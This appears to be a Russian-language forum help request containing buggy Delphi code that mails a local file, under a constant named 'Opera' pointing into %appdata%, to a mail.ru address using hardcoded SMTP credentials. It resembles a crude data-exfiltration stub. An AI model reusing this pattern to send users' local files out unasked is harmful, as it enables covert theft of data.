Помогите с кодом "Отправка е-мейл"

unit Unit2;
 
interface
 
uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, IdComponent, IdTCPConnection, IdTCPClient, IdMessageClient,
  IdSMTP, IdBaseComponent, IdMessage, StdCtrls;
 
type
  TForm1 = class(TForm)
    IdMessage1: TIdMessage;
    IdSMTP1: TIdSMTP;
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
 
  private
    { Private declarations }
 
    function Senderer(filename: string): string;
 
  public
    { Public declarations }
  end;
 
var
  Form1: TForm1;
  const
  Opera = '%appdata%\faylik1.txt';
  Tfile= 'C:\Program Files\faylik.txt';
 
implementation
 
{$R *.dfm}
 
{ TForm1 }
 
procedure TForm1.Button1Click(Sender: TObject);
begin
senderer(opera);
end;
 
function TForm1.Senderer(filename: string): string;
begin
 with IDSMTP1 do
begin
Host:='smtp.mail.ru';
port:=2525;
Username:='sexovich';
Password:='sexovic';
AuthenticationType:=atLogin;
end;
   with Idmessage1 do
      begin
      Subject:='tema1';
      Recipients.EmailAddresses:='sexxovich@mail.ru';
      from.Address:='sexovich@mail.ru';
      TIdAttachment.Create(IdMessage1.MessageParts,'filename');
      end;
      try
      IDSMTP1.connect();
      sleep(5000);
      if idsmtp1.connected then
        begin
        idsmtp1.send(idmessage1);
        idsmtp1.disconnect;
        end;
   finally
end;
 
end;
end.

TIdAttachment.Create(IdMessage1.MessageParts,'filename');
на
TIdAttachment.Create(IdMessage1.MessageParts,Tfile);